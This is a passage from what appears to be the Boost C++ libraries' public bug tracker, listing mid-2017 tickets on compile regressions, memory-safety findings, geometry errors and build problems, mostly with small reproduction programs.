{
    const int& ref = *f();
    // creates a boost::optional temporary
    // "*tmp" binds to "optional::operator*() const&"
    // "ref" starts pointing to internals of the returned temporary
    // temporary gets destroyed
    // we have a dangling reference
}

at the same time, std::optional in C++17 does have

constexpr const T&& operator*() const &&;

overload, which lets the code above work correctly.

#13136: Regression: intrusive::unordered_set::rehash now requires T to be hashable

gromer@… — Tue, 25 Jul 2017 19:45:13 GMT

It is possible to create an intrusive::unordered_set<T> where T is not hashable, so long as you never use methods that perform hashing (e.g. insertion is performed via insert_check and insert_commit, and lookup is performed with a caller-specified hasher). rehash is documented as not calling the hash function if store_hash is true, so it ought to be callable on a set with that option enabled, and as of Boost 1.60.0 it was. However, as of Boost 1.64.0 calls to rehash on such a set no longer compile, because the generated code now includes a call to the hash function (which will never actually be executed).

Suggested fix: make do_full_rehash a non-type template parameter rather than a function parameter of rehash_impl, and encapsulate the if(do_full_rehash) logic behind a function template that takes do_full_rehash as a template argument (with the two branches as different specializations). That way the code that calls the hash function will not be generated unless the user actually calls full_rehash.

#13135: boost::filesystem::exists silently fails to work on MSVC with newly created symlink

Antony Polukhin — Tue, 25 Jul 2017 09:09:54 GMT

The following program:

#include <boost/filesystem/operations.hpp>
#include <cassert>
#include <fstream>
#include <iostream>
int main() {
    boost::system::error_code error;
    boost::filesystem::create_directories("dir/subdir", error);
    assert(!error);
    std::ofstream ofs("dir/subdir/file.txt");
    ofs << "Boost.Filesystem is fun!";
    assert(ofs);
    ofs.close();
    boost::filesystem::create_symlink("dir/subdir/file.txt", "symlink", error);
    if (!error) {
        std::cerr << "Symlink created\n";
        assert(boost::filesystem::exists("symlink"));
    } else {
        std::cerr << "Failed to create a symlink\n";
        boost::filesystem::remove_all("dir", error);
        assert(!error);
        boost::filesystem::remove("symlink", error);
        assert(!error);
    } /*if (!error)*/
} /*main*/

Works well on Linux and Windows+MinGW but fails to work on msvc-14.0:

--- Stderr:
Symlink created
Assertion failed: boost::filesystem::exists("symlink"), file .\main.cpp, line 20
--- Ret code: 3

Failed run can be found here: https://ci.appveyor.com/project/apolukhin/boost-cookbook/branch/second_edition/job/1ycwqk36phd8h8il

P.S.: Code from above worked well a few months ago. Looks like some recent change broke the example.

#13134: Warnings about the use of 0 as null pointer constant.

kot.tom97@… — Mon, 24 Jul 2017 22:55:36 GMT

boost/core/lightweight_test_trait.hpp uses 0 as null pointer constant. Compilers issue warnings about it. This could, however, be easily fixed by, for example, ifdefing on BOOST_NO_CXX11_NULLPTR. Shall I create a PR?

#13133: copy_file does not check file type, can fill disk or hang program if used on certain file types

Mon, 24 Jul 2017 21:12:13 GMT

Boost’s copy_file method, when passed non-regular files, can fill up the user’s disk space or hang the program.

The copy_file method does not check file type before it begins copying, which can lead to unspecified behavior if the user tries to copy a non-regular (type) file. As only regular files can be properly copied by reading and writing their contents, trying to copy non-regular files in this way can cause problems. For example:

Trying to copy a symlink to the character device /dev/urandom with copy_file will copy random data into the output file indefinitely, quickly filling up the user’s disk.
Trying to copy a FIFO type file with copy_file will result in the program hanging indefinitely if left unattended.

This problem can be fixed without too much work by checking the result of the post-open stat call to check that a regular file was opened. I have written up a patch, which I submitted a pull-request for (#48). This problem was found as part of an effort to detect and deal with “environmental” bugs in popular applications (for more information, check out https://works-everywhere.org). It was found using a tool that detects situations where an application fails to correctly handle unusual environmental conditions such as files having an unexpected file type.

#13132: process_event called upon initial on_entry does not wait for on_entry completion.

Sun, 23 Jul 2017 19:05:29 GMT

process_event called during initial on_entry does not wait for on_entry completion.

#13131: move_if_not_lvalue_reference undefined under BOOST_MOVE_USE_STANDARD_LIBRARY_MOVE

ryan.johnson@… — Fri, 21 Jul 2017 17:03:02 GMT

Defining BOOST_MOVE_USE_STANDARD_LIBRARY_MOVE causes the following program to fail compilation for boost-1.60.0 and newer:

#define BOOST_MOVE_USE_STANDARD_LIBRARY_MOVE

#include <boost/thread.hpp>

int main() { }

NOTE: this regression was reported over a year ago on the mailing lists but the message received no reply and nobody ever filed a bug. https://lists.boost.org/boost-users/2015/12/85457.php

It appears the fix is simple: move the definition of move_if_not_lvalue_reference() outside the #ifdef for BOOST_MOVE_USE_STANDARD_LIBRARY_MOVE. Untested patch attached.

#13130: BOOST_LOCKFREE_CACHELINE_BYTES value is incorrect on s390x

mike.munday@… — Fri, 21 Jul 2017 16:40:28 GMT

The file include/boost/lockfree/detail/prefix.hpp contains the following code snippet:

// PowerPC caches support 128-byte cache lines.
#if defined(powerpc) || defined(__powerpc__) || defined(__ppc__)
    #define BOOST_LOCKFREE_CACHELINE_BYTES 128
#else
    #define BOOST_LOCKFREE_CACHELINE_BYTES 64
#endif

This sets the cache line size on s390x to 64 bytes. This is incorrect, the correct size is 256 bytes. To fix we just need to add an extra #elif checking for the s390/ s390x compiler-defined macros.

#13128: boost asio does not initialize libressl library

Wed, 19 Jul 2017 22:39:40 GMT

When using the libressl library with boost asio, there is some library initialization code that depends on OPENSSL_VERSION_NUMBER that should be executed but it is not because libressl identifies itself with OPENSSL_VERSION_NUMBER 0x20000000L and the code in question is inside an #if (OPENSSL_VERSION_NUMBER < 0x10100000L)or an #if (OPENSSL_VERSION_NUMBER < 0x10000000L)

The code I'm referring to is in boost/asio/ssl/detail/impl/openssl_init.ipp as follows:

in openssl_init_base::do_init method there is the following code:

#if (OPENSSL_VERSION_NUMBER < 0x10100000L)
    ::SSL_library_init();
    ::SSL_load_error_strings();
    ::OpenSSL_add_all_algorithms();
    mutexes_.resize(::CRYPTO_num_locks());
    for (size_t i = 0; i < mutexes_.size(); ++i)
      mutexes_[i].reset(new boost::asio::detail::mutex);
    ::CRYPTO_set_locking_callback(&do_init::openssl_locking_func);
#endif // (OPENSSL_VERSION_NUMBER < 0x10100000L)
#if (OPENSSL_VERSION_NUMBER < 0x10000000L)
    ::CRYPTO_set_id_callback(&do_init::openssl_id_func);
#endif // (OPENSSL_VERSION_NUMBER < 0x10000000L)

similarly, in ~do_init() the following sequence should also execute for libressl:

#if (OPENSSL_VERSION_NUMBER < 0x10000000L)
    ::CRYPTO_set_id_callback(0);
#endif // (OPENSSL_VERSION_NUMBER < 0x10000000L)
#if (OPENSSL_VERSION_NUMBER < 0x10100000L)
    ::CRYPTO_set_locking_callback(0);
    ::ERR_free_strings();
    ::EVP_cleanup();
    ::CRYPTO_cleanup_all_ex_data();
#endif // (OPENSSL_VERSION_NUMBER < 0x10100000L)

also in ~do_init() the ERR_remove_thread_state and ENGINE_cleanup functions should be called

#elif (OPENSSL_VERSION_NUMBER < 0x10100000L)
    ::ERR_remove_thread_state(NULL);
#endif // (OPENSSL_VERSION_NUMBER < 0x10000000L)

#if !defined(OPENSSL_NO_ENGINE) \
  && (OPENSSL_VERSION_NUMBER < 0x10100000L)
    ::ENGINE_cleanup();
#endif // !defined(OPENSSL_NO_ENGINE)
       // && (OPENSSL_VERSION_NUMBER < 0x10100000L)

the following openssl_id_func and openssl_locking_func should also be available for libressl, along with the vector of mutexes:

#if (OPENSSL_VERSION_NUMBER < 0x10000000L)
  static unsigned long openssl_id_func()
  {
#if defined(BOOST_ASIO_WINDOWS) || defined(__CYGWIN__)
    return ::GetCurrentThreadId();
#else // defined(BOOST_ASIO_WINDOWS) || defined(__CYGWIN__)
    void* id = &errno;
    BOOST_ASIO_ASSERT(sizeof(unsigned long) >= sizeof(void*));
    return reinterpret_cast<unsigned long>(id);
#endif // defined(BOOST_ASIO_WINDOWS) || defined(__CYGWIN__)
  }
#endif // (OPENSSL_VERSION_NUMBER < 0x10000000L)
#if (OPENSSL_VERSION_NUMBER < 0x10100000L)
  static void openssl_locking_func(int mode, int n,
    const char* /*file*/, int /*line*/)
  {
    if (mode & CRYPTO_LOCK)
      instance()->mutexes_[n]->lock();
    else
      instance()->mutexes_[n]->unlock();
  }
  // Mutexes to be used in locking callbacks.
  std::vector<boost::asio::detail::shared_ptr<
        boost::asio::detail::mutex> > mutexes_;
#endif // (OPENSSL_VERSION_NUMBER < 0x10100000L)

#13127: out of bound memory access in integer_sort

Mon, 17 Jul 2017 05:26:37 GMT

I called integer_sort() to sort a data array, found a oob access, and crashed.

check the code, found it occurs in inner_swap_loop. the code is like the following:

target_bin = bins + (rshift(*current, log_divisor) - div_min)

but in the previous code, function spreadsort_rec(). the bin count is calculated by the code with a cast (unsigned):

unsigned bin_count = unsigned(div_max - div_min) + 1;

and the next place in spreadsort_rec()

for (RandomAccessIter current = first; current != last;)

bin_sizes[unsigned(rshift(*(current++), log_divisor) - div_min)]++;

so that, I thought there is a missing cast (unsigned) in inner_swap_loop().

#13125: parse_config_file silently ignores IO errors

Sun, 16 Jul 2017 12:21:46 GMT

The function parse_config_file silently ignores I/O errors while reading the configuration file.

A easy way to reproduce the bug is to specify a directory as configuration file. On Linux, open will succeed but subsequent calls to read will fail with EISDIR.

---

Minimal and complete program to reproduce the problem:

#include <cerrno>
#include <iostream>
#include <boost/program_options.hpp>
using namespace boost::program_options;
int main(int argc, char *argv[])
{
    if (argc != 2) {
        std::cerr << "Invalid amount of arguments" << std::endl;
        return 1;
    }
    try {
        options_description desc("Desc");
        variables_map vm;
        store(parse_config_file<char>(argv[1], desc), vm);
        notify(vm);
    } catch (error &e) {
        std::cerr << "Error: " << e.what() << std::endl;
        return 1;
    }
    std::cerr << "Everything fine" << std::endl;
    return 0;
}

$ ./a.out some-non-existent-file
Error: can not read options configuration file 'some-non-existent-file'
$ ./a.out .
Everything fine

#13123: So confused on building boost.

scubaventure101@… — Sun, 16 Jul 2017 06:32:20 GMT

I have literally no idea what I'm doing, and nothing is working. Yes that's vague and doesn't help people answer my question but can someone just have a one on one, step by step with me on how to do this. bootstrap.bat doesn't work, the precompiled build.bat doesn't work. I'm confused and frustrated.

[I also don't know how these tickets work, so on the off-chance that people can't directly reply to them, hit me up at my provided email address please, thank you!]

#13122: Four statics from containers_fwd.hpp should be constexpr

robert.mcmillan@… — Fri, 14 Jul 2017 13:34:24 GMT

We did a study of duplicated global symbols in our modules and found four duplicated symbols coming from boost. Every compilation unit that includes this header will get four of these statics and they will be duplicated in the final executable. We had 525x4 instances of these duplicated globals in just one module.

The tool used to find this problem is described here with source code:

https://randomascii.wordpress.com/2017/01/08/add-a-const-here-delete-a-const-there

static const ordered_range_t ordered_range = ordered_range_t(); static const ordered_unique_range_t ordered_unique_range = ordered_unique_range_t(); static const default_init_t default_init = default_init_t(); static const value_init_t value_init = value_init_t();

It seems all is needed is for the BOOST_CONSTEXPR_OR_CONST to be used instead of 'const'.

#13121: std_fenced_block gets used for g++ 4.6.4 and hence buggy std::atomic_thread_fence

Thu, 13 Jul 2017 10:52:36 GMT

With g++ 4.6.4: using asio code that results in detail::fenced_block being used results in detail::std_fenced_block being used. This uses std::atomic_thread_fence but that has link issues with 4.6 (maybe https://gcc.gnu.org/bugzilla/show_bug.cgi?id=51038).

g++4.6 -std=c++0x -I boost...

#include <boost/asio/detail/fenced_block.hpp>
#ifdef BOOST_ASIO_HAS_STD_ATOMIC
# pragma message("Will use asio std_fenced_block")
#endif
int main(int argc, char *argv[])
{
  (void)argc; (void)argv;
  boost::asio::detail::fenced_block block(boost::asio::detail::fenced_block::full);
}

boost_asio.cpp:4:51: note: #pragma message: Will use asio std_fenced_block /tmp/ccNS0287.o: In function `boost::asio::detail::std_fenced_block::std_fenced_block(boost::asio::detail::std_fenced_block::full_t)': boost_asio.cpp:(.text._ZN5boost4asio6detail16std_fenced_blockC2ENS2_6full_tE[_ZN5boost4asio6detail16std_fenced_blockC5ENS2_6full_tE]+0x22): undefined reference to `std::atomic_thread_fence(std::memory_order)' /tmp/ccNS0287.o: In function `boost::asio::detail::std_fenced_block::~std_fenced_block()': boost_asio.cpp:(.text._ZN5boost4asio6detail16std_fenced_blockD2Ev[_ZN5boost4asio6detail16std_fenced_blockD5Ev]+0x13): undefined reference to `std::atomic_thread_fence(std::memory_order)' collect2: ld returned 1 exit status

It looks like between 1.63 and 1.64, in detail/fenced_block.hpp, the #elif defined(BOOST_ASIO_HAS_STD_ATOMIC) line takes precedence over the specific gcc test. However, BOOST_ASIO_HAS_STD_ATOMIC is defined for 4.6.4.

#13120: optional o. x<(size_t)0 is different to x<0

harris.pc@… — Wed, 12 Jul 2017 08:13:11 GMT

This is a very subtle but key bug. Comparing slightly different types changes the way the comparison is done.

#include <boost/optional.hpp>
#include <cassert>
int main()
{
   boost::optional<size_t> x;
   assert((x < (size_t)0) == (x < 0));
   return 0;
}

result:

$ g++ -g -I boost_1_64_0/ -o test_optional-d test_optional.cpp
$ ./test_optional-d
$ test_optional.cpp:7: int main(): Assertion `(x < (size_t)0) == (x < 0)' failed.

I am scared to think what this might affect in my code...

---

I would actually prefer to turn off the implicit cast in operator<(), and only allow : optional<T> < optional<T>

I'd rather it throw a compile error and instead force me to do something like if (x && *x < 0)

Because I do not always thing 'none' should be 'less than' anything. It should not be comparable.

#13119: Boost::binomial_heap Merge memcheck error - Merging 9 into 5

jun.kudo@… — Tue, 11 Jul 2017 19:22:34 GMT

Binomial heap merge routine reads from uninitialized memory in the attached example.

#include "boost/heap/binomial_heap.hpp"
typedef boost::heap::binomial_heap<int> Heap;
int main(int /*argc*/, char* /*argv*/[]) {
  Heap heap0;
  size_t heap0_size = 5;
  size_t max_range = 100;
  for (size_t ix = 0; ix < heap0_size; ++ix) {
    heap0.push(rand() % max_range);
  }
  Heap heap1;
  size_t heap1_size = 9;
  for (size_t ix = 0; ix < heap1_size; ++ix) {
    heap1.push(rand() % max_range);
  }
  heap0.merge(heap1);
}

I believe line 693 is incorrectly moving the iterator forwards. If the carry node is inserted before the last node of trees, this line will cause this_iterator to point to trees.end(). However, for this case, it will follow the goto statement and start another iteration which will cause the function to read from out of bounds.

#13118: boost.locale, Windows, x64 build: linker looks for ICU libraries in wrong folder (/lib instead of /lib64)

zhivkot@… — Tue, 11 Jul 2017 05:41:55 GMT

When building all of boost (64 bit) with ICU, locale fails to link to ICU libs, while other libraries, regex included, succeed.
Accidently creating a copy of <ICU_root>/lib64/ into <ICU_root>/lib/ resolved the issue.
Looks like locale searches for ICU libraries in <ICU>/lib for both 32 and 64 bit builds, while other boost libraries use <ICU>/lib for 32 builds and <ICU>/lib64 for 64 bit builds (which is where default ICU build puts them).

#13117: BTC CODE REALISER BIOT

Vadim Kozhukhovskiy — Tue, 11 Jul 2017 02:19:40 GMT

#13116: BTC CODE REALISER

Tue, 11 Jul 2017 01:36:42 GMT

#13114: Multiple signatures for function

stinkingmadgod@… — Mon, 10 Jul 2017 18:09:48 GMT

I am not familiar with boost, just wanted to suggest the possibility of having function take multiple signatures

function<void (int), int (double)> f;

This is compatible with std::function, but unknown feasibility for boost::function in its current form.

The key idea is to recursively implement operator() from the argument list

template<typename Ret, typename... Args, typename... Fns>
struct erasure_base<Ret (Args...), Fns...> : erasure_base<Fns...>
{
    virtual Ret operator()(Args&&...) = 0;
    using erasure_base<Fns...>::operator();
};

Attached file is a proof-of-concept implementation of such functionality.

#13113: OperationalError: could not extend file "base/19263/19289": No space left on deviceHINT: Check free disk space.

anonymous — Mon, 10 Jul 2017 18:07:26 GMT

How to Reproduce

While doing a GET operation on /query, Trac issued an internal error.

pressed middle mouse click on a keyword in a bug report

Request parameters:

{u'keywords': u'~multi_index', u'status': u'!closed'}

User agent: #USER_AGENT#

System Information

System information not available

Enabled Plugins

Plugin information not available

Interface Customization

Interface customization information not available

Python Traceback

Traceback (most recent call last):
  File "build/bdist.linux-x86_64/egg/trac/web/main.py", line 623, in _dispatch_request
    dispatcher.dispatch(req)
  File "build/bdist.linux-x86_64/egg/trac/web/main.py", line 260, in dispatch
    req.send(output, content_type or 'text/html')
  File "build/bdist.linux-x86_64/egg/trac/web/api.py", line 683, in send
    self.send_response(status)
  File "build/bdist.linux-x86_64/egg/trac/web/main.py", line 109, in send_response
    self.session.save()
  File "build/bdist.linux-x86_64/egg/trac/web/session.py", line 169, in save
    """, (self.sid, self.last_visit, authenticated))
  File "build/bdist.linux-x86_64/egg/trac/db/util.py", line 128, in execute
    cursor.execute(query, params if params is not None else [])
  File "build/bdist.linux-x86_64/egg/trac/db/util.py", line 72, in execute
    return self.cursor.execute(sql_escape_percent(sql), args)
OperationalError: could not extend file "base/19263/19289": No space left on device
HINT:  Check free disk space.

#13112: uninitialized pointer fields in asio epoll_reactor

ben@… — Fri, 07 Jul 2017 14:57:46 GMT

https://github.com/boostorg/asio/blob/develop/include/boost/asio/detail/impl/epoll_reactor.ipp

This was found by a Coverity scan. I can't see a fix for this in the pipeline at all on the latest version. Details from the Coverity scan are below:

627epoll_reactor::descriptor_state::descriptor_state()
628  : operation(&epoll_reactor::descriptor_state::do_complete)
629{
   
5. uninit_member: Non-static class member next_ is not initialized in this constructor nor in any functions that it calls.
   
7. uninit_member: Non-static class member prev_ is not initialized in this constructor nor in any functions that it calls.
   
9. uninit_member: Non-static class member reactor_ is not initialized in this constructor nor in any functions that it calls.
   
11. uninit_member: Non-static class member descriptor_ is not initialized in this constructor nor in any functions that it calls.
   
13. uninit_member: Non-static class member registered_events_ is not initialized in this constructor nor in any functions that it calls.
   
CID 256705: Uninitialized pointer field (UNINIT_CTOR)15. uninit_member: Non-static class member shutdown_ is not initialized in this constructor nor in any functions that it calls.
630}

#13111: Out-of-bounds access for asio consuming buffers

ben@… — Fri, 07 Jul 2017 14:37:53 GMT

I have not seen a fix for this in Github for the latest version

https://github.com/boostorg/asio/blob/develop/include/boost/asio/detail/consuming_buffers.hpp

The issue was found by a coverity scan. All calls to buffers_.end() are being flagged as out-of-bounds access, there is potential for memory corruption here. Coverity is flagging these as High Impacting.

Coverity output is below:

207  // Get a forward-only iterator to the first element.
208  const_iterator begin() const
209  {
   
1. address_of: Taking address with this->buffers_ yields a singleton pointer.
   
CID 336466: Out-of-bounds access (ARRAY_VS_SINGLETON)2. callee_ptr_arith: Passing this->buffers_ to function end which uses it as an array. This might corrupt or misinterpret adjacent memory locations.
210    return const_iterator(at_end_, first_,
211        begin_remainder_, buffers_.end(), max_size_);
212  }
213
…
226  // Consume the specified number of bytes from the buffers.
227  void consume(std::size_t size)
228  {
229    // Remove buffers from the start until the specified size is reached.
   
1. Condition size > 0, taking true branch.
   
2. Condition !this->at_end_, taking true branch.
230    while (size > 0 && !at_end_)
231    {
   
3. Condition boost::asio::buffer_size(this->first_) <= size, taking true branch.
232      if (buffer_size(first_) <= size)
233      {
234        size -= buffer_size(first_);
   
4. address_of: Taking address with this->buffers_ yields a singleton pointer.
   
CID 336464: Out-of-bounds access (ARRAY_VS_SINGLETON)5. callee_ptr_arith: Passing this->buffers_ to function end which uses it as an array. This might corrupt or misinterpret adjacent memory locations.
235        if (begin_remainder_ == buffers_.end())
236          at_end_ = true;
237        else
238          first_ = *begin_remainder_++;
239      }
240      else
241      {
242        first_ = first_ + size;
243        size = 0;
244      }
245    }
…
247    // Remove any more empty buffers at the start.
   
12. Condition !this->at_end_, taking true branch.
   
13. Condition boost::asio::buffer_size(this->first_) == 0, taking true branch.
248    while (!at_end_ && buffer_size(first_) == 0)
249    {
   
14. address_of: Taking address with this->buffers_ yields a singleton pointer.
   
CID 336464: Out-of-bounds access (ARRAY_VS_SINGLETON)15. callee_ptr_arith: Passing this->buffers_ to function end which uses it as an array. This might corrupt or misinterpret adjacent memory locations.
250      if (begin_remainder_ == buffers_.end())
251        at_end_ = true;
252      else
253        first_ = *begin_remainder_++;
254    }
255  }
…

#13110: cannot wait/join process to actually terminate after calling child::terminate

Fri, 07 Jul 2017 09:04:57 GMT

On Windows child::terminate() calls TerminateProcess, which is asynchronous. I need to wait for the process to actually terminate, but join()/wait() early out because a) _terminated gets set to true and b) the process handle is closed within terminate().

The Unix implementation uses waitpid() after calling kill() to wait for the process state to change, thus the behaviour is different.

From MSDN: "TerminateProcess is asynchronous; it initiates termination and returns immediately. If you need to be sure the process has terminated, call the WaitForSingleObject function with a handle to the process."

Because waiting for a process to actually terminate might take a long time I think it would be best to use a parameter to specify whether terminate() shall wait or not, and allow waiting for the process after calling terminate(). Alternatively please provide a async_terminate() and fix the Windows implementation to wait internally.

#13107: Include guards missing in range/iterator_range_hash.hpp

Wed, 05 Jul 2017 16:48:47 GMT

Header range/iterator_range_hash.hpp has no include guard; including the header twice in the same translation unit results in an error about duplicate definition of the function template ::boost::hash_value(const iterator_range<T>&)

#13105: Add missing top level include guards

anonymous — Mon, 03 Jul 2017 20:56:21 GMT

This ticket is addressed by this pull request: https://github.com/boostorg/function/pull/13/files

The missing top level include guard means that even if boost/function.hpp is included in a pre-compiled header, we still pay the heavy boost pp pre-processing cost every time it is also included.

This is very problematic with Visual Studio intellisense: It pre-process and parses the translation unit on the fly to provide syntax/semantic highlighting.

In our projects, this fix remove a couple of seconds in this process. (boost/function.hpp is included in many headers that result in pre-processing it multiple time per compilation units)

#13103: Documentation: Line-by-line I/O example should use asio

joshua.hopp@… — Fri, 30 Jun 2017 08:50:17 GMT

The boost::process Tutorial needs some improvements:

When following the example "Synchronous I/O" the output may be incomplete. Actually, this is even stated in the FAQ: "But, since pipes are buffered, you might get incomplete data if you do this: It is therefore highly recommended that you use the asynchronous api if you are not absolutely sure how the output will look."

Not retrieving all data is not something to be generally expected; therefore this should be stated clearly in the tutorial's example. A new example should provide a solution to the problem. (Would have saved me hours of work!)

Or even better, since the asynchronous api is highly recommended anyway, why not deprecate synchronous IO and replace the example completely?

The new/additional example could look somewhat like this:

#include <boost/process.hpp>
#include <iostream>
#include <functional>
#include <sstream>
// capture process output line by line
int main() {
        const std::string file = "file";
        namespace bp = boost::process;
        bp::opstream os;
        struct IoData {
                bp::async_pipe ap;        // Pipe to be used by the stream
                std::vector<char> buffer;
                std::mutex streamMutex;
                std::string keepline;     // Store incomplete data
                std::function<void(const std::string&)> callback;
                IoData(boost::asio::io_service& ios_, std::function<void(const std::string&)> callback_)
                : ap(ios_)
                , buffer(512) // Set arbitrary buffer size here!
                , callback(callback_) {
                }
        };
        // set up async io
        boost::asio::io_service ios;
        // Prepare capturing both stdout and stderr
        IoData err(ios, [](const std::string& s){ std::cout << "cerr: " << s <<std::endl; });
        IoData out(ios, [](const std::string& s){ std::cout << "cout: " << s <<std::endl; });
        bp::child process(bp::search_path("nm"), file, bp::std_out > out.ap, bp::std_err > err.ap, ios);
        std::function<void(IoData&)> beginRead = [&](IoData& io) {
                io.ap.async_read_some(boost::asio::buffer(io.buffer, io.buffer.size()), [&](const boost::system::error_code &ec, std::size_t size) {
                                std::lock_guard<std::mutex> guard(io.streamMutex);
                                std::string str(io.buffer.data(), size);
                                std::stringstream stream(io.keepline + str);
                                std::string line;
                                while (std::getline(stream, line)) {
                                        io.callback(line);
                                }
                                if (stream.eof()) {
                                        io.keepline = line;
                                } else {
                                        io.keepline = "";
                                }
                                if (ec.value() != 0) {
                                        return;
                                }
                                beginRead(io);
                });
        };
        beginRead(err);
        beginRead(out);
        ios.run();
        process.wait();
};

#13102: Executable not relinking if related static libraries are changed.

Uttkarsh — Wed, 28 Jun 2017 07:16:03 GMT

I am trying to build an executable which depends on static libraries,say a and b. When there are changes in a or b and we try to recompile the executable, it does not gets updated. It just assumes that all targets are built and there are no new changes.

#13101: multiplication overflow issue

Robert Ramey — Tue, 27 Jun 2017 20:34:04 GMT

The following code will result in erroneous output due to integer overflow.

rational x {1, INT_MAX};
rational y {1, 2};
rational z = x * y; // will result in error due to overflow

The relevant section of the library code - rational.hpp line 500 is

// Avoid overflow and preserve normalization
IntType gcd1 = integer::gcd(num, r_den);
IntType gcd2 = integer::gcd(r_num, den);
num = (num/gcd1) * (r_num/gcd2);
den = (den/gcd2) * (r_den/gcd1);

which, in spite of comment, does not implement any checking for overflow. The same argument applies to addition and likely other operations. Division does check for divide by zero and throws an exception.

The documentation itself is kind of cagey on the issue. In spite of having opened this issue I'm not sure what I really want to ask for. Sorry about this. Longer term I would hope to see rational and multi precision integers not include any checking and permit safe integer do it. But of course I'm not there yet.

#13100: How can I post move only handler?

136002018@… — Tue, 27 Jun 2017 08:22:41 GMT

How can I post move only handler? It seems there is no need require the handler copyable. I don't want wrap my handler with shared_ptr.

#13099: How about adding BOOST_CONSEXPR to functions in rational where appropriate

Robert Ramey — Mon, 26 Jun 2017 18:02:30 GMT

How about adding BOOST_CONSEXPR to functions in rational where appropriate. I shouldn't create any problems and would make boost rational more useful in current code.

#13098: geometry::touches return wrong result on two polygons

bruno.deligny@… — Mon, 26 Jun 2017 16:28:51 GMT

touches should returns true:

#include <boost/geometry/geometries/point_xy.hpp>
#include <boost/geometry/geometries/polygon.hpp>
#include <boost/geometry/algorithms/touches.hpp>
#include <boost/tuple/tuple.hpp>
#include <boost/geometry.hpp>
#include <boost/geometry/geometries/polygon.hpp>
#include <boost/geometry/geometries/adapted/boost_tuple.hpp>
typedef boost::geometry::model::d2::point_xy<float> P;
boost::geometry::model::polygon<P, false, false> polygon1, polygon2;
boost::geometry::append(polygon1, boost::make_tuple(32.0f, -0.00438580196f));
boost::geometry::append(polygon1, boost::make_tuple(32.0f, -4.0f));
boost::geometry::append(polygon1, boost::make_tuple(37.0f, -4.0f));
boost::geometry::append(polygon1, boost::make_tuple(37.0f, -0.00438580057f));
boost::geometry::append(polygon2, boost::make_tuple(32.0f, 20.0f));
boost::geometry::append(polygon2, boost::make_tuple(32.0f, -0.00438580196f));
boost::geometry::append(polygon2, boost::make_tuple(37.0f, -0.00438580057f));
boost::geometry::append(polygon2, boost::make_tuple(43.0f, -0.00438579917f));
boost::geometry::append(polygon2, boost::make_tuple(43.0f, 20.0f));
assert(boost::geometry::touches(polygon1, polygon2) == true);

#13096: boost::geometry::intersection results depend on polypoints inputorder

kle@… — Mon, 26 Jun 2017 11:59:02 GMT

Hello,

when calculating the intersection of the givin polygons, the result depends on the order of the inputpoints.

#include <boost/geometry/geometry.hpp>
#include <boost/geometry/geometries/polygon.hpp>
#include <boost/geometry/geometries/point_xy.hpp>
int main(int argc, char* argv[])
{
  typedef boost::geometry::model::polygon<boost::geometry::model::d2::point_xy<double>> boost_polygon;
  boost_polygon RedPoly, GreenPoly, RedPolyReverted, GreenPolyReverted;
  boost::geometry::read_wkt("POLYGON((864.11024748062812 524.94908797221251, 881.01048034069004 524.77831898197212, 877.68802698783907 501.82023487475703, 860.75736496460991 501.99865072086430, 864.11024748062812 524.94908797221251))", RedPoly);
  boost::geometry::read_wkt("POLYGON((864.62221751510151 524.94391475320754, 868.20628459909278 524.90769942280622, 864.93694798456659 502.47800172931238, 861.34657616182551 502.51580174027310, 864.62221751510151 524.94391475320754))", GreenPoly);
  boost::geometry::read_wkt("POLYGON((860.75736496460991 501.99865072086430, 877.68802698783907 501.82023487475703, 881.01048034069004 524.77831898197212, 864.11024748062812 524.94908797221251, 860.75736496460991 501.99865072086430))", RedPolyReverted);
  boost::geometry::read_wkt("POLYGON((861.34657616182551 502.51580174027310, 864.93694798456659 502.47800172931238, 868.20628459909278 524.90769942280622, 864.62221751510151 524.94391475320754, 861.34657616182551 502.51580174027310))", GreenPolyReverted);
  boost::geometry::correct(RedPoly);
  boost::geometry::correct(GreenPoly);
  boost::geometry::correct(RedPolyReverted);   // reverts order of points and is now equal it RedPoly
  boost::geometry::correct(GreenPolyReverted); // reverts order of points and is now equal it GreenPoly
  std::list<boost_polygon> output;
  boost::geometry::intersection(RedPoly, GreenPoly, output);  // error: output is empty
  std::list<boost_polygon> outputReverted;
  boost::geometry::intersection(RedPolyReverted, GreenPolyReverted, outputReverted); // correct: outputReverted.front equals GreenPoly
  return 0;
}

#13092: Serializing pointer makes sanitizer complain about "reference binding to misaligned address"

fiesh@… — Fri, 23 Jun 2017 08:48:25 GMT

Consider the following program:

#include <memory>
#include <sstream>
#include <boost/archive/text_iarchive.hpp>
#include <boost/archive/text_oarchive.hpp>
#include <boost/serialization/shared_ptr.hpp>
struct S
{
	int i;
	char c;
	template <class Archive>
	void serialize(Archive & ar, const unsigned int version)
	{
		ar & i;
		ar & c;
	}
};
int main()
{
	const auto s0 = std::make_shared<S>();
	s0->i = 42;
	s0->c = 'c';
	std::stringstream ss;
	{
		boost::archive::text_oarchive oa(ss);
		oa << s0;
	}
	std::shared_ptr<S> s1;
	{
		boost::archive::text_iarchive ia(ss);
		ia >> s1;
	}
	return 0;
}

What is important is that we use a pointer to the struct.

I then get the following output, which seems to be a real issue probably mitigated by x86's lax requirements on alignment:

% g++ -lboost_serialization -fsanitize=address -fsanitize=leak -fsanitize=undefined -fsanitize=shift -fsanitize=integer-divide-by-zero -fsanitize=unreachable -fsanitize=vla-bound -fsanitize=null -fsanitize=return -fsanitize=signed-integer-overflow -fsanitize=bounds -fsanitize=alignment -fsanitize=object-size -fsanitize=float-divide-by-zero -fsanitize=float-cast-overflow -fsanitize=nonnull-attribute -fsanitize=returns-nonnull-attribute -fsanitize=bool -fsanitize=enum -fno-sanitize=vptr t.cpp&& LD_PRELOAD=/usr/lib/gcc/x86_64-pc-linux-gnu/6.3.0/libasan.so ./a.out
% LD_PRELOAD=/usr/lib/gcc/x86_64-pc-linux-gnu/6.3.0/libasan.so ./a.out
/usr/include/boost/archive/detail/iserializer.hpp:540:19: runtime error: reference binding to misaligned address 0x000000000002 for type 'struct S', which requires 4 byte alignment
0x000000000002: note: pointer points here
<memory cannot be printed>
/usr/include/boost/archive/detail/iserializer.hpp:541:67: runtime error: reference binding to misaligned address 0x000000000002 for type 'const struct S', which requires 4 byte alignment
0x000000000002: note: pointer points here
<memory cannot be printed>
% LD_PRELOAD=/usr/lib/gcc/x86_64-pc-linux-gnu/6.3.0/libasan.so ./a.out
% LD_PRELOAD=/usr/lib/gcc/x86_64-pc-linux-gnu/6.3.0/libasan.so ./a.out
